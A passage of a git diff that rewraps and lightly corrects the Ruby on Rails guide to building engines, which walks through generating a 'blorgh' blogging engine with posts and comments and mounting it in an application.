a/guides/source/engines.md +++ b/guides/source/engines.md @@ -1,7 +1,9 @@ Getting Started with Engines ============================ -In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. +In this guide you will learn about engines and how they can be used to provide +additional functionality to their host applications through a clean and very +easy-to-use interface. After reading this guide, you will know: @@ -16,26 +18,59 @@ After reading this guide, you will know: What are engines? ----------------- -Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the `Rails::Application` class inheriting a lot of its behavior from `Rails::Engine`. - -Therefore, engines and applications can be thought of almost the same thing, just with subtle differences, as you'll see throughout this guide. Engines and applications also share a common structure. - -Engines are also closely related to plugins where the two share a common `lib` directory structure and are both generated using the `rails plugin new` generator. The difference being that an engine is considered a "full plugin" by Rails as indicated by the `--full` option that's passed to the generator command, but this guide will refer to them simply as "engines" throughout. An engine **can** be a plugin, and a plugin **can** be an engine. - -The engine that will be created in this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application. - -Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as `posts_path` and use an engine also that provides a path also called `posts_path`, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide. - -It's important to keep in mind at all times that the application should **always** take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically. - -To see demonstrations of other engines, check out [Devise](https://github.com/plataformatec/devise), an engine that provides authentication for its parent applications, or [Forem](https://github.com/radar/forem), an engine that provides forum functionality. There's also [Spree](https://github.com/spree/spree) which provides an e-commerce platform, and [RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine. - -Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks! +Engines can be considered miniature applications that provide functionality to +their host applications. A Rails application is actually just a "supercharged" +engine, with the `Rails::Application` class inheriting a lot of its behavior +from `Rails::Engine`. + +Therefore, engines and applications can be thought of almost the same thing, +just with subtle differences, as you'll see throughout this guide. Engines and +applications also share a common structure. + +Engines are also closely related to plugins. The two share a common `lib` +directory structure, and are both generated using the `rails plugin new` +generator. The difference is that an engine is considered a "full plugin" by +Rails (as indicated by the `--full` option that's passed to the generator +command). This guide will refer to them simply as "engines" throughout. An +engine **can** be a plugin, and a plugin **can** be an engine. + +The engine that will be created in this guide will be called "blorgh". The +engine will provide blogging functionality to its host applications, allowing +for new posts and comments to be created. At the beginning of this guide, you +will be working solely within the engine itself, but in later sections you'll +see how to hook it into an application. + +Engines can also be isolated from their host applications. This means that an +application is able to have a path provided by a routing helper such as +`posts_path` and use an engine also that provides a path also called +`posts_path`, and the two would not clash. Along with this, controllers, models +and table names are also namespaced. You'll see how to do this later in this +guide. + +It's important to keep in mind at all times that the application should +**always** take precedence over its engines. An application is the object that +has final say in what goes on in the universe (with the universe being the +application's environment) where the engine should only be enhancing it, rather +than changing it drastically. + +To see demonstrations of other engines, check out +[Devise](https://github.com/plataformatec/devise), an engine that provides +authentication for its parent applications, or +[Forem](https://github.com/radar/forem), an engine that provides forum +functionality. There's also [Spree](https://github.com/spree/spree) which +provides an e-commerce platform, and +[RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine. + +Finally, engines would not have been possible without the work of James Adam, +Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever +meet them, don't forget to say thanks! Generating an engine -------------------- -To generate an engine, you will need to run the plugin generator and pass it options as appropriate to the need. For the "blorgh" example, you will need to create a "mountable" engine, running this command in a terminal: +To generate an engine, you will need to run the plugin generator and pass it +options as appropriate to the need. For the "blorgh" example, you will need to +create a "mountable" engine, running this command in a terminal: ```bash $ rails plugin new blorgh --mountable @@ -47,7 +82,8 @@ The full list of options for the plugin generator may be seen by typing: $ rails plugin --help ``` -The `--full` option tells the generator that you want to create an engine, including a skeleton structure by providing the following: +The `--full` option tells the generator that you want to create an engine, +including a skeleton structure that provides the following: * An `app` directory tree * A `config/routes.rb` file: @@ -56,7 +92,9 @@ The `--full` option tells the generator that you want to create an engine, inclu Rails.application.routes.draw do end ``` - * A file at `lib/blorgh/engine.rb` which is identical in function to a standard Rails application's `config/application.rb` file: + + * A file at `lib/blorgh/engine.rb`, which is identical in function to a + * standard Rails application's `config/application.rb` file: ```ruby module Blorgh @@ -65,7 +103,9 @@ The `--full` option tells the generator that you want to create an engine, inclu end ``` -The `--mountable` option tells the generator that you want to create a "mountable" and namespace-isolated engine. This generator will provide the same skeleton structure as would the `--full` option, and will add: +The `--mountable` option tells the generator that you want to create a +"mountable" and namespace-isolated engine. This generator will provide the same +skeleton structure as would the `--full` option, and will add: * Asset manifest files (`application.js` and `application.css`) * A namespaced `ApplicationController` stub @@ -88,23 +128,32 @@ The `--mountable` option tells the generator that you want to create a "mountabl end ``` -Additionally, the `--mountable` option tells the generator to mount the engine inside the dummy testing application located at `test/dummy` by adding the following to the dummy application's routes file at `test/dummy/config/routes.rb`: +Additionally, the `--mountable` option tells the generator to mount the engine +inside the dummy testing application located at `test/dummy` by adding the +following to the dummy application's routes file at +`test/dummy/config/routes.rb`: ```ruby mount Blorgh::Engine, at: "blorgh" ``` -### Inside an engine +### Inside an Engine -#### Critical files +#### Critical Files -At the root of this brand new engine's directory lives a `blorgh.gemspec` file. When you include the engine into an application later on, you will do so with this line in the Rails application's `Gemfile`: +At the root of this brand new engine's directory lives a `blorgh.gemspec` file. +When you include the engine into an application later on, you will do so with +this line in the Rails application's `Gemfile`: ```ruby gem 'blorgh', path: "vendor/engines/blorgh" ``` -By specifying it as a gem within the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file and requiring a file within the `lib` directory called `lib/blorgh.rb`. This file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) and defines a base module called `Blorgh`. +Don't forget to run `bundle install` as usual. By specifying it as a gem within +the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file +and requiring a file within the `lib` directory called `lib/blorgh.rb`. This +file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) +and defines a base module called `Blorgh`. ```ruby require "blorgh/engine" @@ -113,7 +162,10 @@ module Blorgh end ``` -TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you want to offer configuration options, the file where your engine's `module` is defined is perfect for that. Place the methods inside the module and you'll be good to go. +TIP: Some engines choose to use this file to put global configuration options +for their engine. It's a relatively good idea, so if you want to offer +configuration options, the file where your engine's `module` is defined is +perfect for that. Place the methods inside the module and you'll be good to go. Within `lib/blorgh/engine.rb` is the base class for the engine: @@ -125,43 +177,94 @@ module Blorgh end ``` -By inheriting from the `Rails::Engine` class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the `app` directory of the engine to the load path for models, mailers, controllers and views. - -The `isolate_namespace` method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts are helpers. Without calling `isolate_namespace`, engine's helpers would be included in an application's controllers. - -NOTE: It is **highly** recommended that the `isolate_namespace` line be left within the `Engine` class definition. Without it, classes generated in an engine **may** conflict with an application. - -What this isolation of the namespace means is that a model generated by a call to `rails g model` such as `rails g model post` won't be called `Post`, but instead be namespaced and called `Blorgh::Post`. In addition, the table for the model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. Similar to the model namespacing, a controller called `PostsController` becomes `Blorgh::PostsController` and the views for that controller will not be at `app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced as well. - -Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the [Routes](#routes) section of this guide. - -#### `app` directory - -Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, `mailers`, `models` and `views` directories that you should be familiar with from an application. The `helpers`, `mailers` and `models` directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine. - -Within the `app/assets` directory, there are the `images`, `javascripts` and `stylesheets` directories which, again, you should be familiar with due to their similarity to an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too. - -Within the `app/controllers` directory there is a `blorgh` directory and inside that a file called `application_controller.rb`. This file will provide any common functionality for the controllers of the engine. The `blorgh` directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application. - -NOTE: The `ApplicationController` class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines. - -Lastly, the `app/views` directory contains a `layouts` folder which contains a file at `blorgh/application.html.erb` which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's `app/views/layouts/application.html.erb` file. - -If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine. - -#### `bin` directory - -This directory contains one file, `bin/rails`, which enables you to use the `rails` sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this: +By inheriting from the `Rails::Engine` class, this gem notifies Rails that +there's an engine at the specified path, and will correctly mount the engine +inside the application, performing tasks such as adding the `app` directory of +the engine to the load path for models, mailers, controllers and views. + +The `isolate_namespace` method here deserves special notice. This call is +responsible for isolating the controllers, models, routes and other things into +their own namespace, away from similar components inside the application. +Without this, there is a possibility that the engine's components could "leak" +into the application, causing unwanted disruption, or that important engine +components could be overridden by similarly named things within the application. +One of the examples of such conflicts is helpers. Without calling +`isolate_namespace`, the engine's helpers would be included in an application's +controllers. + +NOTE: It is **highly** recommended that the `isolate_namespace` line be left +within the `Engine` class definition. Without it, classes generated in an engine +**may** conflict with an application. + +What this isolation of the namespace means is that a model generated by a call +to `rails g model`, such as `rails g model post`, won't be called `Post`, but +instead be namespaced and called `Blorgh::Post`. In addition, the table for the +model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. +Similar to the model namespacing, a controller called `PostsController` becomes +`Blorgh::PostsController` and the views for that controller will not be at +`app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced +as well. + +Finally, routes will also be isolated within the engine. This is one of the most +important parts about namespacing, and is discussed later in the +[Routes](#routes) section of this guide. + +#### `app` Directory + +Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, +`mailers`, `models` and `views` directories that you should be familiar with +from an application. The `helpers`, `mailers` and `models` directories are +empty, so they aren't described in this section. We'll look more into models in +a future section, when we're writing the engine. + +Within the `app/assets` directory, there are the `images`, `javascripts` and +`stylesheets` directories which, again, you should be familiar with due to their +similarity to an application. One difference here, however, is that each +directory contains a sub-directory with the engine name. Because this engine is +going to be namespaced, its assets should be too. + +Within the `app/controllers` directory there is a `blorgh` directory that +contains a file called `application_controller.rb`. This file will provide any +common functionality for the controllers of the engine. The `blorgh` directory +is where the other controllers for the engine will go. By placing them within +this namespaced directory, you prevent them from possibly clashing with +identically-named controllers within other engines or even within the +application. + +NOTE: The `ApplicationController` class inside an engine is named just like a +Rails application in order to make it easier for you to convert your +applications into engines. + +Lastly, the `app/views` directory contains a `layouts` folder, which contains a +file at `blorgh/application.html.erb`. This file allows you to specify a layout +for the engine. If this engine is to be used as a stand-alone engine, then you +would add any customization to its layout in this file, rather than the +application's `app/views/layouts/application.html.erb` file. + +If you don't want to force a layout on to users of the engine, then you can +delete this file and reference a different layout in the controllers of your +engine. + +#### `bin` Directory + +This directory contains one file, `bin/rails`, which enables you to use the +`rails` sub-commands and generators just like you would within an application. +This means that you will be able to generate new controllers and models for this +engine very easily by running commands like this: ```bash rails g model ``` -Keeping in mind, of course, that anything generated with these commands inside an engine that has `isolate_namespace` inside the `Engine` class will be namespaced. +Keep in mind, of course, that anything generated with these commands inside of +an engine that has `isolate_namespace` in the `Engine` class will be namespaced. -#### `test` directory +#### `test` Directory -The `test` directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at `test/dummy`. This application will mount the engine in the `test/dummy/config/routes.rb` file: +The `test` directory is where tests for the engine will go. To test the engine, +there is a cut-down version of a Rails application embedded within it at +`test/dummy`. This application will mount the engine in the +`test/dummy/config/routes.rb` file: ```ruby Rails.application.routes.draw do @@ -169,18 +272,25 @@ Rails.application.routes.draw do end ``` -This line mounts the engine at the path `/blorgh`, which will make it accessible through the application only at that path. +This line mounts the engine at the path `/blorgh`, which will make it accessible +through the application only at that path. -In the test directory there is the `test/integration` directory, where integration tests for the engine should be placed. Other directories can be created in the `test` directory as well. For example, you may wish to create a `test/models` directory for your models tests. +Inside the test directory there is the `test/integration` directory, where +integration tests for the engine should be placed. Other directories can be +created in the `test` directory as well. For example, you may wish to create a +`test/models` directory for your model tests. Providing engine functionality ------------------------------ -The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the [Getting Started Guide](getting_started.html), with some new twists. +The engine that this guide covers provides posting and commenting functionality +and follows a similar thread to the [Getting Started +Guide](getting_started.html), with some new twists. -### Generating a post resource +### Generating a Post Resource -The first thing to generate for a blog engine is the `Post` model and related controller. To quickly generate this, you can use the Rails scaffold generator. +The first thing to generate for a blog engine is the `Post` model and related +controller. To quickly generate this, you can use the Rails scaffold generator. ```bash $ rails generate scaffold post title:string text:text @@ -195,7 +305,8 @@ create app/models/blorgh/post.rb invoke test_unit create test/models/blorgh/post_test.rb create test/fixtures/blorgh/posts.yml - route resources :posts +invoke resource_route + route resources :posts invoke scaffold_controller create app/controllers/blorgh/posts_controller.rb invoke erb @@ -220,11 +331,22 @@ invoke css create app/assets/stylesheets/scaffold.css ``` -The first thing that the scaffold generator does is invoke the `active_record` generator, which generates a migration and a model for the resource. Note here, however, that the migration is called `create_blorgh_posts` rather than the usual `create_posts`. This is due to the `isolate_namespace` method called in the `Blorgh::Engine` class's definition. The model here is also namespaced, being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due to the `isolate_namespace` call within the `Engine` class. +The first thing that the scaffold generator does is invoke the `active_record` +generator, which generates a migration and a model for the resource. Note here, +however, that the migration is called `create_blorgh_posts` rather than the +usual `create_posts`. This is due to the `isolate_namespace` method called in +the `Blorgh::Engine` class's definition. The model here is also namespaced, +being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due +to the `isolate_namespace` call within the `Engine` class. -Next, the `test_unit` generator is invoked for this model, generating a model test at `test/models/blorgh/post_test.rb` (rather than `test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml` (rather than `test/fixtures/posts.yml`). +Next, the `test_unit` generator is invoked for this model, generating a model +test at `test/models/blorgh/post_test.rb` (rather than +`test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml` +(rather than `test/fixtures/posts.yml`). -After that, a line for the resource is inserted into the `config/routes.rb` file for the engine. This line is simply `resources :posts`, turning the `config/routes.rb` file for the engine into this: +After that, a line for the resource is inserted into the `config/routes.rb` file +for the engine. This line is simply `resources :posts`, turning the +`config/routes.rb` file for the engine into this: ```ruby Blorgh::Engine.routes.draw do @@ -232,12 +354,22 @@ Blorgh::Engine.routes.draw do end ``` -Note here that the routes are drawn upon the `Blorgh::Engine` object rather than the `YourApp::Application` class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the [test directory](#test-directory) section. It also causes the engine's routes to be isolated from those routes that are within the application. The [Routes](#routes) section of -this guide describes it in details. +Note here that the routes are drawn upon the `Blorgh::Engine` object rather than +the `YourApp::Application` class. This is so that the engine routes are confined +to the engine itself and can be mounted at a specific point as shown in the +[test directory](#test-directory) section. It also causes the engine's routes to +be isolated from those routes that are within the application. The +[Routes](#routes) section of this guide describes it in detail. -Next, the `scaffold_controller` generator is invoked, generating a controller called `Blorgh::PostsController` (at `app/controllers/blorgh/posts_controller.rb`) and its related views at `app/views/blorgh/posts`. This generator also generates a test for the controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper (`app/helpers/blorgh/posts_controller.rb`). +Next, the `scaffold_controller` generator is invoked, generating a controller +called `Blorgh::PostsController` (at +`app/controllers/blorgh/posts_controller.rb`) and its related views at +`app/views/blorgh/posts`. This generator also generates a test for the +controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper +(`app/helpers/blorgh/posts_controller.rb`). -Everything this generator has created is neatly namespaced. The controller's class is defined within the `Blorgh` module: +Everything this generator has created is neatly namespaced. The controller's +class is defined within the `Blorgh` module: ```ruby module Blorgh @@ -247,50 +379,76 @@ module Blorgh end ``` -NOTE: The `ApplicationController` class being inherited from here is the `Blorgh::ApplicationController`, not an application's `ApplicationController`. +NOTE: The `ApplicationController` class being inherited from here is the +`Blorgh::ApplicationController`, not an application's `ApplicationController`. The helper inside `app/helpers/blorgh/posts_helper.rb` is also namespaced: ```ruby module Blorgh - class PostsHelper + module PostsHelper ... end end ``` -This helps prevent conflicts with any other engine or application that may have a post resource as well. +This helps prevent conflicts with any other engine or application that may have +a post resource as well. -Finally, two files that are the assets for this resource are generated, `app/assets/javascripts/blorgh/posts.js` and `app/assets/stylesheets/blorgh/posts.css`. You'll see how to use these a little later. +Finally, the assets for this resource are generated in two files: +`app/assets/javascripts/blorgh/posts.js` and +`app/assets/stylesheets/blorgh/posts.css`. You'll see how to use these a little +later. -By default, the scaffold styling is not applied to the engine as the engine's layout file, `app/views/layouts/blorgh/application.html.erb` doesn't load it. To make this apply, insert this line into the `<head>` tag of this layout: +By default, the scaffold styling is not applied to the engine because the +engine's layout file, `app/views/layouts/blorgh/application.html.erb`, doesn't +load it. To make the scaffold styling apply, insert this line into the `<head>` +tag of this layout: ```erb <%= stylesheet_link_tag "scaffold" %> ``` -You can see what the engine has so far by running `rake db:migrate` at the root of our engine to run the migration generated by the scaffold generator, and then running `rails server` in `test/dummy`. When you open `http://localhost:3000/blorgh/posts` you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions. +You can see what the engine has so far by running `rake db:migrate` at the root +of our engine to run the migration generated by the scaffold generator, and then +running `rails server` in `test/dummy`. When you open +`http://localhost:3000/blorgh/posts` you will see the default scaffold that has +been generated. Click around! You've just generated your first engine's first +functions. -If you'd rather play around in the console, `rails console` will also work just like a Rails application. Remember: the `Post` model is namespaced, so to reference it you must call it as `Blorgh::Post`. +If you'd rather play around in the console, `rails console` will also work just +like a Rails application. Remember: the `Post` model is namespaced, so to +reference it you must call it as `Blorgh::Post`. ```ruby >> Blorgh::Post.find(1) => #<Blorgh::Post id: 1 ...> ``` -One final thing is that the `posts` resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the `config/routes.rb` file inside the engine: +One final thing is that the `posts` resource for this engine should be the root +of the engine. Whenever someone goes to the root path where the engine is +mounted, they should be shown a list of posts. This can be made to happen if +this line is inserted into the `config/routes.rb` file inside the engine: ```ruby root to: "posts#index" ``` -Now people will only need to go to the root of the engine to see all the posts, rather than visiting `/posts`. This means that instead of `http://localhost:3000/blorgh/posts`, you only need to go to `http://localhost:3000/blorgh` now. +Now people will only need to go to the root of the engine to see all the posts, +rather than visiting `/posts`. This means that instead of +`http://localhost:3000/blorgh/posts`, you only need to go to +`http://localhost:3000/blorgh` now. -### Generating a comments resource +### Generating a Comments Resource -Now that the engine can create new blog posts, it only makes sense to add commenting functionality as well. To do this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones. +Now that the engine can create new blog posts, it only makes sense to add +commenting functionality as well. To do this, you'll need to generate a comment +model, a comment controller and then modify the posts scaffold to display +comments and allow people to create new ones. -Run the model generator and tell it to generate a `Comment` model, with the related table having two columns: a `post_id` integer and `text` text column. +From the application root, run the model generator. Tell it to generate a +`Comment` model, with the related table having two columns: a `post_id` integer +and `text` text column. ```bash $ rails generate model Comment post_id:integer text:text @@ -307,16 +465,26 @@ create test/models/blorgh/comment_test.rb create test/fixtures/blorgh/comments.yml ``` -This generator call will generate just the necessary model files it needs, namespacing the files under a `blorgh` directory and creating a model class called `Blorgh::Comment`. +This generator call will generate just the necessary model files it needs, +namespacing the files under a `blorgh` directory and creating a model class +called `Blorgh::Comment`. Now run the migration to create our blorgh_comments +table: + +```bash +$ rake db:migrate +``` -To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and add this line before the "Edit" link: +To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and +add this line before the "Edit" link: ```html+erb <h3>Comments</h3> <%= render @post.comments %> ``` -This line will require there to be a `has_many` association for comments defined on the `Blorgh::Post` model, which there isn't right now. To define one, open `app/models/blorgh/post.rb` and add this line into the model: +This line will require there to be a `has_many` association for comments defined +on the `Blorgh::Post` model, which there isn't right now. To define one, open +`app/models/blorgh/post.rb` and add this line into the model: ```ruby has_many :comments @@ -332,28 +500,38 @@ module Blorgh end ``` -NOTE: Because the `has_many` is defined inside a class that is inside the `Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` model for these objects, so there's no need to specify that using the `:class_name` option here. +NOTE: Because the `has_many` is defined inside a class that is inside the +`Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` +model for these objects, so there's no need to specify that using the +`:class_name` option here. -Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to `render @post.comments` in `app/views/blorgh/posts/show.html.erb`: +Next, there needs to be a form so that comments can be created on a post. To add +this, put this line underneath the call to `render @post.comments` in +`app/views/blorgh/posts/show.html.erb`: ```erb <%= render "blorgh/comments/form" %> ``` -Next, the partial that this line will render needs to exist. Create a new directory at `app/views/blorgh/comments` and in it a new file called `_form.html.erb` which has this content to create the required partial: +Next, the partial that this line will render needs to exist. Create a new +directory at `app/views/blorgh/comments` and in it a new file called +`_form.html.erb` which has this content to create the required partial: ```html+erb <h3>New comment</h3> <%= form_for [@post, @post.comments.build] do |f| %> <p> - <%= f.label :text %><br /> + <%= f.label :text %><br> <%= f.text_area :text %> </p> <%= f.submit %> <% end %> ``` -When this form is submitted, it is going to attempt to perform a `POST` request to a route of `/posts/:post_id/comments` within the engine. This route doesn't exist at the moment, but can be created by changing the `resources :posts` line inside `config/routes.rb` into these lines: +When this form is submitted, it is going to attempt to perform a `POST` request +to a route of `/posts/:post_id/comments` within the engine. This route doesn't +exist at the moment, but can be created by changing the `resources :posts` line +inside `config/routes.rb` into these lines: ```ruby resources :posts do @@ -363,7 +541,8 @@ end This creates a nested route for the comments, which is what the form requires. -The route now exists, but the controller that this route goes to does not. To create it, run this command: +The route now exists, but the controller that this route goes to does not. To +create it, run this command from the application root: ```bash $ rails g controller comments @@ -388,141 +567,227 @@ invoke css create app/assets/stylesheets/blorgh/comments.css ``` -The form will be making a `POST` request to `/posts/:post_id/comments`, which will correspond with the `create` action in `Blorgh::CommentsController`. This action needs to be created and can be done by putting the following lines inside the class definition in `app/controllers/blorgh/comments_controller.rb`: +The form will be making a `POST` request to `/posts/:post_id/comments`, which +will correspond with the `create` action in `Blorgh::CommentsController`. This +action needs to be created, which can be done by putting the following lines +inside the class definition in `app/controllers/blorgh/comments_controller.rb`: ```ruby def create @post = Post.find(params[:post_id]) - @comment = @post.comments.create(params[:comment]) + @comment = @post.comments.create(comment_params) flash[:notice] = "Comment has been created!" redirect_to posts_path end + +private + def comment_params + params.require(:comment).permit(:text) + end ``` -This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error: +This is the final step required to get the new comment form working. Displaying +the comments, however, is not quite right yet. If you were to create a comment +right now, you would see this error: -``` -Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in: - * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" - * "/Users/ryan/Sites/side_projects/blorgh/app/views" +``` +Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], +:formats=>[:html], :locale=>[:en, :en]}. Searched in: * +"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" * +"/Users/ryan/Sites/side_projects/blorgh/app/views" ``` -The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (`test/dummy`) `app/views` directory and then in the engine's `app/views` directory. When it can't find it, it will throw this error. The engine knows to look for `blorgh/comments/comment` because the model object it is receiving is from the `Blorgh::Comment` class. +The engine is unable to find the partial required for rendering the comments. +Rails looks first in the application's (`test/dummy`) `app/views` directory and +then in the engine's `app/views` directory. When it can't find it, it will throw +this error. The engine knows to look for `blorgh/comments/comment` because the +model object it is receiving is from the `Blorgh::Comment` class. -This partial will be responsible for rendering just the comment text, for now. Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this line inside it: +This partial will be responsible for rendering just the comment text, for now. +Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this +line inside it: ```erb <%= comment_counter + 1 %>. <%= comment.text %> ``` -The `comment_counter` local variable is given to us by the `<%= render @post.comments %>` call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created. +The `comment_counter` local variable is given to us by the `<%= render +@post.comments %>` call, which will define it automatically and increment the +counter as it iterates through each comment. It's used in this example to +display a small number next to each comment when it's created. -That completes the comment function of the blogging engine. Now it's time to use it within an application. +That completes the comment function of the blogging engine. Now it's time to use +it within an application. -Hooking into an application +Hooking Into an Application --------------------------- -Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a `User` class provided by the application to provide ownership for posts and comments within the engine. +Using an engine within an application is very easy. This section covers how to +mount the engine into an application and the initial setup required, as well as +linking the engine to a `User` class provided by the application to provide +ownership for posts and comments within the engine. -### Mounting the engine +### Mounting the Engine -First, the engine needs to be specified inside the application's `Gemfile`. If there isn't an application handy to test this out in, generate one using the `rails new` command outside of the engine directory like this: +First, the engine needs to be specified inside the application's `Gemfile`. If +there isn't an application handy to test this out in, generate one using the +`rails new` command outside of the engine directory like this: ```bash $ rails new unicorn ``` -Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem. +Usually, specifying the engine inside the Gemfile would be done by specifying it +as a normal, everyday gem. ```ruby gem 'devise' ``` -However, because you are developing the `blorgh` engine on your local machine, you will need to specify the `:path` option in your `Gemfile`: +However, because you are developing the `blorgh` engine on your local machine, +you will need to specify the `:path` option in your `Gemfile`: ```ruby gem 'blorgh', path: "/path/to/blorgh" ``` -As described earlier, by placing the gem in the `Gemfile` it will be loaded when Rails is loaded, as it will first require `lib/blorgh.rb` in the engine and then `lib/blorgh/engine.rb`, which is the file that defines the major pieces of functionality for the engine. +Then run `bundle` to install the gem. + +As described earlier, by placing the gem in the `Gemfile` it will be loaded when +Rails is loaded. It will first require `lib/blorgh.rb` from the engine, then +`lib/blorgh/engine.rb`, which is the file that defines the major pieces of +functionality for the engine. -To make the engine's functionality accessible from within an application, it needs to be mounted in that application's `config/routes.rb` file: +To make the engine's functionality accessible from within an application, it +needs to be mounted in that application's `config/routes.rb` file: ```ruby mount Blorgh::Engine, at: "/blog" ``` -This line will mount the engine at `/blog` in the application. Making it accessible at `http://localhost:3000/blog` when the application runs with `rails server`. +This line will mount the engine at `/blog` in the application. Making it +accessible at `http://localhost:3000/blog` when the application runs with `rails +server`. -NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as `devise_for` in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable. +NOTE: Other engines, such as Devise, handle this a little differently by making +you specify custom helpers (such as `devise_for`) in the routes. These helpers +do exactly the same thing, mounting pieces of the engines's functionality at a +pre-defined path which may be customizable. ### Engine setup -The engine contains migrations for the `blorgh_posts` and `blorgh_comments` table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command: +The engine contains migrations for the `blorgh_posts` and `blorgh_comments` +table which need to be created in the application's database so that the +engine's models can query them correctly. To copy these migrations into the +application use this command: ```bash -$ rake blorgh_engine:install:migrations +$ rake blorgh:install:migrations ``` -If you have multiple engines that need migrations copied over, use `railties:install:migrations` instead: +If you have multiple engines that need migrations copied over, use +`railties:install:migrations` instead: ```bash $ rake railties:install:migrations ``` -This command, when run for the first time, will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this: +This command, when run for the first time, will copy over all the migrations +from the engine. When run the next time, it will only copy over migrations that +haven't been copied over already. The first run for this command will output +something such as this: ```bash Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh ``` -The first timestamp (`[timestamp_1]`) will be the current time and the second timestamp (`[timestamp_2]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application. +The first timestamp (`[timestamp_1]`) will be the current time, and the second +timestamp (`[timestamp_2]`) will be the current time plus a second. The reason +for this is so that the migrations for the engine are run after any existing +migrations in the application. -To run these migrations within the context of the application, simply run `rake db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine. +To run these migrations within the context of the application, simply run `rake +db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the +posts will be empty. This is because the table created inside the application is +different from the one created within the engine. Go ahead, play around with the +newly mounted engine. You'll find that it's the same as when it was only an +engine. -If you would like to run migrations only from one engine, you can do it by specifying `SCOPE`: +If you would like to run migrations only from one engine, you can do it by +specifying `SCOPE`: ```bash rake db:migrate SCOPE=blorgh ``` -This may be useful if you want to revert engine's migrations before removing it. In order to revert all migrations from blorgh engine you can run such code: +This may be useful if you want to revert engine's migrations before removing it. +To revert all migrations from blorgh engine you can run code such as: ```bash rake db:migrate SCOPE=blorgh VERSION=0 ``` -### Using a class provided by the application +### Using a Class Provided by the Application -#### Using a model provided by the application +#### Using a Model Provided by the Application -When an engine is created, it may want to use specific 